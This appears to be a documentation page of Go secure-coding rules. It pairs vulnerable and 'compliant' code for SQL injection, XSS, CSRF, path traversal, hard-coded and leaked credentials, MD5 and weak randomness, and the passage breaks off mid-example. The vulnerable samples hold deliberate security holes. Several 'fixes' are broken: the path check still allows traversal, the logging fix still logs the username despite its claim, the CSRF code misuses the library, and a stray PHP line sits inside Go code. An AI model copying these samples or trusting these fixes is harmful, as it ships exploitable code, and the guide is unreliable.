    "content": "---\nlayout: default\ntitle: Go\nparent: Rules\n---\n\n# Go\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/users\", getUsers)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc getUsers(w http.ResponseWriter, r *http.Request) {\n\t// Access sensitive data from the database\n\tusername := \"admin\"\n\tpassword := \"secret\"\n\n\t// Return the sensitive information in the HTTP response\n\tfmt.Fprintf(w, \"Username: %s, Password: %s\", username, password)\n}\n\n```\n\nIn this noncompliant code, the getUsers function retrieves sensitive information such as the username and password from a database. However, the code directly exposes this sensitive information in the HTTP response by returning it as part of the response body. This can lead to the exposure of credentials and other sensitive data to potential attackers.\n\nTo address this issue, here's an example of compliant code that avoids the exposure of sensitive information:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/users\", getUsers)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc getUsers(w http.ResponseWriter, r *http.Request) {\n\t// Access sensitive data from the database\n\tusername := \"admin\"\n\tpassword := \"secret\"\n\n\t// Instead of returning sensitive information, return a generic message\n\tfmt.Fprint(w, \"Access denied\")\n}\n```\n\n\nIn the compliant code, the getUsers function still retrieves sensitive information from the database, but instead of returning it in the HTTP response, a generic message is returned. This ensures that sensitive information is not exposed to potential attackers.\n\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", login)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc login(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Authenticate the user\n\tif !authenticate(username, password) {\n\t\terrMsg := fmt.Sprintf(\"Login failed for user: %s\", username)\n\t\tlog.Println(errMsg)\n\t\thttp.Error(w, \"Invalid credentials\", http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\t// Proceed with successful login\n\t// ...\n\t// Code for handling successful login\n}\n\nfunc authenticate(username, password string) bool {\n\t// Perform authentication logic\n\t// ...\n\t// Code for authenticating the user\n\n\treturn false\n}\n```\n\nIn this noncompliant code, when the login credentials provided by the user fail to authenticate, the code logs the sensitive information (the username) along with an error message. The error message is then sent as a response to the client. This practice can potentially expose sensitive information to an attacker and aid in further exploitation.\n\nTo address this issue, here's an example of compliant code that avoids the insertion of sensitive information into sent data via error:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", login)\n\thttp.ListenAndServe(\":8080\", nil)\n}\n\nfunc login(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Authenticate the user\n\tif !authenticate(username, password) {\n\t\tlog.Println(\"Login failed for user:\", username)\n\t\thttp.Error(w, \"Invalid credentials\", http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\t// Proceed with successful login\n\t// ...\n\t// Code for handling successful login\n}\n\nfunc authenticate(username, password string) bool {\n\t// Perform authentication logic\n\t// ...\n\t// Code for authenticating the user\n\n\treturn false\n}\n```\n\n\nIn the compliant code, the sensitive information (the username) is logged without any specific error message. Instead, a generic error message is sent as a response to the client to avoid exposing sensitive information. This helps protect against information disclosure vulnerabilities.\n\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n)\n\nvar (\n\ttemplates = template.Must(template.ParseFiles(\"index.html\"))\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", indexHandler)\n\thttp.HandleFunc(\"/transfer\", transferHandler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n\nfunc indexHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == http.MethodGet {\n\t\ttemplates.ExecuteTemplate(w, \"index.html\", nil)\n\t} else if r.Method == http.MethodPost {\n\t\tamount := r.FormValue(\"amount\")\n\t\taccount := r.FormValue(\"account\")\n\n\t\t// Perform the money transfer\n\t\tif transferMoney(amount, account) {\n\t\t\tfmt.Fprintln(w, \"Transfer successful!\")\n\t\t} else {\n\t\t\tfmt.Fprintln(w, \"Transfer failed!\")\n\t\t}\n\t}\n}\n\nfunc transferHandler(w http.ResponseWriter, r *http.Request) {\n\t// Process transfer request\n\t// ...\n}\n\nfunc transferMoney(amount, account string) bool {\n\t// Perform money transfer logic\n\t// ...\n\treturn false\n}\n```\n\nIn this noncompliant code, there is no CSRF protection implemented. The indexHandler function handles both GET and POST requests. When a POST request is received, it performs a money transfer based on the form values provided. This code is vulnerable to CSRF attacks because it doesn't include any mechanism to verify the origin of the request, allowing attackers to craft malicious requests and perform unauthorized transfers on behalf of the authenticated user.\n\nTo address this issue, here's an example of compliant code that includes CSRF protection:\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/gorilla/csrf\"\n)\n\nvar (\n\ttemplates = template.Must(template.ParseFiles(\"index.html\"))\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/\", indexHandler)\n\thttp.HandleFunc(\"/transfer\", transferHandler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", csrf.Protect([]byte(\"32-byte-long-auth-key\"))(nil)))\n}\n\nfunc indexHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == http.MethodGet {\n\t\ttoken := csrf.Token(r)\n\t\tdata := struct {\n\t\t\tToken string\n\t\t}{\n\t\t\tToken: token,\n\t\t}\n\t\ttemplates.ExecuteTemplate(w, \"index.html\", data)\n\t} else if r.Method == http.MethodPost {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\thttp.Error(w, \"Bad Request\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Validate CSRF token\n\t\tif err := csrf.Protect([]byte(\"32-byte-long-auth-key\")).VerifyToken(csrf.Token(r)); err != nil {\n\t\t\thttp.Error(w, \"Invalid CSRF token\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tamount := r.FormValue(\"amount\")\n\t\taccount := r.FormValue(\"account\")\n\n\t\t// Perform the money transfer\n\t\tif transferMoney(amount, account) {\n\t\t\tfmt.Fprintln(w, \"Transfer successful!\")\n\t\t} else {\n\t\t\tfmt.Fprintln(w, \"Transfer failed!\")\n\t\t}\n\t}\n}\n\nfunc transferHandler(w http.ResponseWriter, r *http.Request) {\n\t// Process transfer request\n\t// ...\n}\n\nfunc transferMoney(amount, account string) bool {\n\t// Perform money transfer logic\n\t// ...\n\treturn false\n}\n```\n\n\nIn the compliant code, the Gorilla CSRF package (github.com/gorilla/csrf) is used to add CSRF protection. The CSRF token is generated in the indexHandler function and included in the template data. On form\n\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n)\n\nfunc main() {\n\tpassword := \"myHardcodedPassword\"\n\t\n\t// Rest of the code\n\t// ...\n\t\n\t// Authenticate user with the hardcoded password\n\tif authenticateUser(password) {\n\t\tfmt.Println(\"Authentication successful!\")\n\t} else {\n\t\tfmt.Println(\"Authentication failed!\")\n\t}\n}\n\nfunc authenticateUser(password string) bool {\n\t// Perform authentication logic\n\t// ...\n\treturn password == \"myHardcodedPassword\"\n}\n```\n\nIn this noncompliant code, the password is directly assigned to the password variable as a hard-coded string. This is a security vulnerability because the password is easily accessible within the source code. If an attacker gains access to the source code, they can easily obtain the password and potentially compromise the system.\n\nTo address this issue, here's an example of compliant code that avoids hard-coding passwords:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"syscall\"\n\n\t\"golang.org/x/crypto/ssh/terminal\"\n)\n\nfunc main() {\n\t// Prompt user to enter the password\n\tpassword := promptPassword(\"Enter your password: \")\n\n\t// Rest of the code\n\t// ...\n\n\t// Authenticate user with the entered password\n\tif authenticateUser(password) {\n\t\tfmt.Println(\"Authentication successful!\")\n\t} else {\n\t\tfmt.Println(\"Authentication failed!\")\n\t}\n}\n\nfunc promptPassword(prompt string) string {\n\tfmt.Print(prompt)\n\tpassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\tfmt.Println()\n\treturn string(password)\n}\n\nfunc authenticateUser(password string) bool {\n\t// Perform authentication logic\n\t// ...\n\treturn password == \"correctPassword\"\n}\n```\n\nIn the compliant code, the password is no longer hard-coded. Instead, the promptPassword function is used to securely prompt the user to enter the password. The terminal.ReadPassword function is used to read the password from the terminal without echoing it back. This way, the password remains hidden during input and is not directly visible within the code. The authenticateUser function compares the entered password with the correct password stored elsewhere (e.g., in a secure database) to perform the authentication process.\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n)\n\nfunc main() {\n\tdata := \"Hello, World!\"\n\thash := md5.Sum([]byte(data))\n\tfmt.Printf(\"MD5 Hash: %x\\n\", hash)\n}\n```\n\n\nIn this noncompliant code, the MD5 algorithm from the crypto/md5 package is used to compute the hash of a given string. However, MD5 is considered broken and insecure for cryptographic purposes due to significant vulnerabilities, including collision attacks. Using MD5 for hashing sensitive information can expose the system to various security risks.\n\nTo address this issue, here's an example of compliant code that uses a stronger cryptographic algorithm:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"crypto/sha256\"\n\t\"fmt\"\n)\n\nfunc main() {\n\tdata := \"Hello, World!\"\n\thash := sha256.Sum256([]byte(data))\n\tfmt.Printf(\"SHA-256 Hash: %x\\n\", hash)\n}\n```\n\nIn the compliant code, the SHA-256 algorithm from the crypto/sha256 package is used instead of MD5. SHA-256 is considered a stronger cryptographic algorithm and provides better security for hashing sensitive information. By using SHA-256, the code mitigates the risk associated with broken or risky crypto algorithms and ensures the integrity and security of the hashed data.\n\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"math/rand\"\n)\n\nfunc generateToken() string {\n\tcharset := \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\"\n\tlength := 8\n\ttoken := \"\"\n\n\tfor i := 0; i < length; i++ {\n\t\tindex := rand.Intn(len(charset))\n\t\ttoken += string(charset[index])\n\t}\n\n\treturn token\n}\n\nfunc main() {\n\ttoken := generateToken()\n\tfmt.Println(\"Generated Token:\", token)\n}\n```\n\n\nIn this noncompliant code, a function generateToken() is used to generate a random token with a length of 8 characters. However, the random number generator rand.Intn() from the math/rand package is used without sufficient entropy. The math/rand package relies on a pseudo-random number generator (PRNG) that produces deterministic results based on a seed value. In this case, since no seed is explicitly set, the PRNG uses a default seed value, which can lead to predictable and non-random output.\n\n\nTo address this issue, here's an example of compliant code that uses the crypto/rand package to generate a random token with sufficient entropy:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/base64\"\n\t\"fmt\"\n)\n\nfunc generateToken() string {\n\tlength := 8\n\ttokenBytes := make([]byte, length)\n\n\t_, err := rand.Read(tokenBytes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttoken := base64.URLEncoding.EncodeToString(tokenBytes)[:length]\n\treturn token\n}\n\nfunc main() {\n\ttoken := generateToken()\n\tfmt.Println(\"Generated Token:\", token)\n}\n```\n\nIn the compliant code, the crypto/rand package is used along with the rand.Read() function to generate random bytes with sufficient entropy. These random bytes are then encoded using base64 encoding to generate a random token. By using the crypto/rand package, the code ensures the use of a secure random number generator that provides sufficient entropy for generating unpredictable and secure tokens.\n\n\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc handleHello(w http.ResponseWriter, r *http.Request) {\n\tname := r.URL.Query().Get(\"name\")\n\tmessage := fmt.Sprintf(\"Hello, %s!\", name)\n\n\ttemplate := `<h1>Welcome</h1>\n\t\t\t\t <p>%s</p>`\n\n\toutput := fmt.Sprintf(template, message)\n\tfmt.Fprint(w, output)\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/hello\", handleHello)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\nIn this noncompliant code, the handleHello function handles the \"/hello\" route and retrieves the value of the \"name\" query parameter from the URL. It then constructs an HTML response using a string template, directly interpolating the message variable into the template. This can lead to an XSS vulnerability if an attacker injects malicious script tags or other HTML entities into the \"name\" parameter.\n\nTo address this issue, here's an example of compliant code that properly sanitizes the user input to prevent XSS attacks:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc handleHello(w http.ResponseWriter, r *http.Request) {\n\tname := r.URL.Query().Get(\"name\")\n\tsanitized := template.HTMLEscapeString(name)\n\tmessage := fmt.Sprintf(\"Hello, %s!\", sanitized)\n\n\ttemplate := `<h1>Welcome</h1>\n\t\t\t\t <p>%s</p>`\n\n\toutput := fmt.Sprintf(template, message)\n\tfmt.Fprint(w, output)\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/hello\", handleHello)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\n\nIn the compliant code, the html/template package is used to sanitize the user input by calling the template.HTMLEscapeString() function on the name variable. This ensures that any special characters in the user input are properly escaped, preventing them from being interpreted as HTML tags or entities. By applying proper HTML escaping, the code mitigates the XSS vulnerability and prevents malicious scripts from being executed in the user's browser.\n\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t_ \"github.com/go-sql-driver/mysql\"\n)\n\nfunc handleLogin(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\tdb, err := sql.Open(\"mysql\", \"root:password@/mydatabase\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\tquery := fmt.Sprintf(\"SELECT * FROM users WHERE username='%s' AND password='%s'\", username, password)\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer rows.Close()\n\n\t// Check if the login was successful\n\tif rows.Next() {\n\t\tfmt.Fprintf(w, \"Login successful\")\n\t} else {\n\t\tfmt.Fprintf(w, \"Login failed\")\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", handleLogin)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\nIn this noncompliant code, the handleLogin function handles the \"/login\" route and retrieves the values of the \"username\" and \"password\" form fields from the HTTP request. It then directly interpolates these values into a SQL query string without any input validation or sanitization. This makes the code vulnerable to SQL injection attacks, where an attacker can manipulate the input values to modify the intended query or execute arbitrary SQL statements.\n\nTo address this issue, here's an example of compliant code that uses parameterized queries to prevent SQL injection:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t_ \"github.com/go-sql-driver/mysql\"\n)\n\nfunc handleLogin(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\tdb, err := sql.Open(\"mysql\", \"root:password@/mydatabase\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\tquery := \"SELECT * FROM users WHERE username = ? AND password = ?\"\n\trows, err := db.Query(query, username, password)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer rows.Close()\n\n\t// Check if the login was successful\n\tif rows.Next() {\n\t\tfmt.Fprintf(w, \"Login successful\")\n\t} else {\n\t\tfmt.Fprintf(w, \"Login failed\")\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", handleLogin)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\nIn the compliant code, the SQL query is modified to use parameterized queries. The placeholders \"?\" are used in the query string, and the actual values are passed as additional arguments to the db.Query function. This ensures that the user input is properly treated as data and not as part of the SQL query structure, effectively preventing SQL injection attacks. By using parameterized queries, the code separates the SQL logic from the data and provides a safe and secure way to interact with the database.\n\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc handleFileDownload(w http.ResponseWriter, r *http.Request) {\n\tfileName := r.URL.Query().Get(\"file\")\n\n\tfilePath := \"/path/to/files/\" + fileName\n\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tfileContent, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\tw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"attachment; filename=\\\"%s\\\"\", fileName))\n\t_, err = w.Write(fileContent)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/download\", handleFileDownload)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\n\nIn this noncompliant code, the handleFileDownload function handles the \"/download\" route and retrieves the file name from the query parameters. It then directly concatenates the file name with a base path to construct the file path. This can lead to a security vulnerability known as \"external control of file name or path\" where an attacker can manipulate the file name to access files outside the intended directory or perform other malicious actions.\n\nTo address this issue, here's an example of compliant code that validates and sanitizes the file name to prevent unauthorized file access:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc handleFileDownload(w http.ResponseWriter, r *http.Request) {\n\tfileName := r.URL.Query().Get(\"file\")\n\n\t// Validate and sanitize the file name\n\tfileName = filepath.Clean(fileName)\n\tif fileName == \".\" || fileName == \"..\" {\n\t\tlog.Fatal(\"Invalid file name\")\n\t}\n\n\tfilePath := \"/path/to/files/\" + fileName\n\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tfileContent, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\tw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"attachment; filename=\\\"%s\\\"\", fileName))\n\t_, err = w.Write(fileContent)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/download\", handleFileDownload)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\nIn the compliant code, the file name is validated and sanitized using the filepath.Clean function, which removes any relative path elements (e.g., \".\", \"..\") and resolves the file name to its canonical form. This ensures that the file name is valid and prevents access to files outside the intended directory. By validating and sanitizing the file name, the code mitigates the risk of unauthorized file access and improves the security of the file download functionality.\n\n\n\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc handleLogin(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Authenticate the user\n\tif username == \"admin\" && password == \"secretpassword\" {\n\t\t// Successful login\n\t\tfmt.Fprintf(w, \"Welcome, admin!\")\n\t} else {\n\t\t// Failed login\n\t\terrMsg := fmt.Sprintf(\"Login failed for user: %s\", username)\n\t\tlog.Println(errMsg)\n\t\thttp.Error(w, \"Invalid username or password\", http.StatusUnauthorized)\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", handleLogin)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\n\nIn this noncompliant code, the handleLogin function handles the \"/login\" route and performs user authentication. If the login fails, the code generates an error message containing the username and logs it using the log.Println function. This can be a security vulnerability as it exposes sensitive information (the username) in the error message, which can be leveraged by an attacker for reconnaissance or social engineering purposes.\n\nTo address this issue, here's an example of compliant code that avoids exposing sensitive information in error messages:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc handleLogin(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\t// Authenticate the user\n\tif username == \"admin\" && password == \"secretpassword\" {\n\t\t// Successful login\n\t\tfmt.Fprintf(w, \"Welcome, admin!\")\n\t} else {\n\t\t// Failed login\n\t\tlog.Println(\"Login failed for user:\", username)\n\t\thttp.Error(w, \"Invalid username or password\", http.StatusUnauthorized)\n\t}\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/login\", handleLogin)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n}\n```\n\nIn the compliant code, the error message logged using log.Println no longer includes the sensitive information (username). Instead, it simply logs a generic message indicating a failed login without exposing any sensitive details. By avoiding the inclusion of sensitive information in error messages, the code reduces the risk of exposing sensitive information to potential attackers.\n\n\n\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n)\n\nvar (\n\tusername string\n\tpassword string\n)\n\nfunc readCredentials() {\n\tfile, err := os.Open(\"credentials.txt\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tfmt.Fscanf(file, \"%s\\n%s\", &username, &password)\n}\n\nfunc main() {\n\treadCredentials()\n\n\t// Use the credentials for authentication\n\t// ...\n}\n```\n\nIn this noncompliant code, the readCredentials function reads the username and password from a file (credentials.txt). However, the file is read without any encryption or protection mechanisms, leaving the credentials vulnerable to unauthorized access. Storing sensitive information in plaintext files is insecure and exposes the credentials to potential attackers who gain access to the file.\n\nTo address this issue, here's an example of compliant code that protects the storage of credentials:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"golang.org/x/crypto/bcrypt\"\n)\n\nvar (\n\tusername string\n\tpassword []byte\n)\n\nfunc readCredentials() {\n\tfile, err := os.Open(filepath.Join(\"secrets\", \"credentials.txt\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tfmt.Fscanf(file, \"%s\\n%s\", &username, &password)\n}\n\nfunc authenticateUser(inputPassword []byte) bool {\n\terr := bcrypt.CompareHashAndPassword(password, inputPassword)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc main() {\n\treadCredentials()\n\n\t// Get user input for authentication\n\t// ...\n\n\t// Hash and compare passwords\n\tinputPassword := []byte(\"password123\")\n\tif authenticateUser(inputPassword) {\n\t\tfmt.Println(\"Authentication successful!\")\n\t} else {\n\t\tfmt.Println(\"Authentication failed!\")\n\t}\n}\n```\n\nIn the compliant code, several improvements have been made to enhance the storage of credentials:\n\n1. The credentials file is stored in a separate directory named \"secrets\" to restrict access to authorized users.\n\n2. The password is stored securely using a hashing algorithm. In this example, the bcrypt package is used to hash and compare passwords. This provides an extra layer of protection against unauthorized access to the plaintext password.\n\nBy applying these security measures, the compliant code ensures that credentials are stored in a more secure manner, reducing the risk of unauthorized access to sensitive information.\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc fetchUserData(userID string) ([]byte, error) {\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tdata := make([]byte, response.ContentLength)\n\t_, err = response.Body.Read(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuserData, err := fetchUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error fetching user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User data: %s\\n\", userData)\n}\n```\n\nIn this noncompliant code, the fetchUserData function directly fetches user data from an external API (api.example.com) without validating or sanitizing the input. The user ID is taken as input from the command-line arguments and used to construct the API URL. This introduces a trust boundary violation because the code assumes that the user ID is trusted and does not perform any input validation, allowing for potential malicious input to be passed and used in the URL.\n\nTo address this issue, here's an example of compliant code that implements input validation and enforces a trust boundary:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n$user_id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n)\n\nfunc fetchUserData(userID string) ([]byte, error) {\n\t// Validate the user ID format\n\tvalidUserID := regexp.MustCompile(`^[a-zA-Z0-9]+$`)\n\tif !validUserID.MatchString(userID) {\n\t\treturn nil, fmt.Errorf(\"Invalid user ID\")\n\t}\n\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\t// Read the response body\n\tdata := make([]byte, response.ContentLength)\n\t_, err = response.Body.Read(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc main() {\n\tuserID := os.Args[1]\n\tuserData, err := fetchUserData(userID)\n\tif err != nil {\n\t\tfmt.Printf(\"Error fetching user data: %s\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"User data: %s\\n\", userData)\n}\n```\n\n\nIn the compliant code, several improvements have been made to address the trust boundary violation:\n\n1. The user ID is validated using a regular expression to ensure that it matches the expected format (in this case, alphanumeric characters only). This helps prevent arbitrary input from being used in the API URL.\n\n2. If the user ID fails the validation, an error is returned, indicating that the user ID is invalid.\n\nBy implementing input validation, the compliant code enforces a trust boundary and ensures that only valid and trusted input is used in the API call, reducing the risk of malicious input leading to unexpected behavior or security vulnerabilities.\n\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n)\n\nconst (\n\tapiUsername = \"admin\"\n\tapiPassword = \"password\"\n)\n\nfunc fetchUserData(userID string) ([]byte, error) {\n\turl := fmt.Sprintf(\"https://api.example.com/users/%s\", userID)\n\trequest, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trequest.SetBasicAuth(apiUsername, 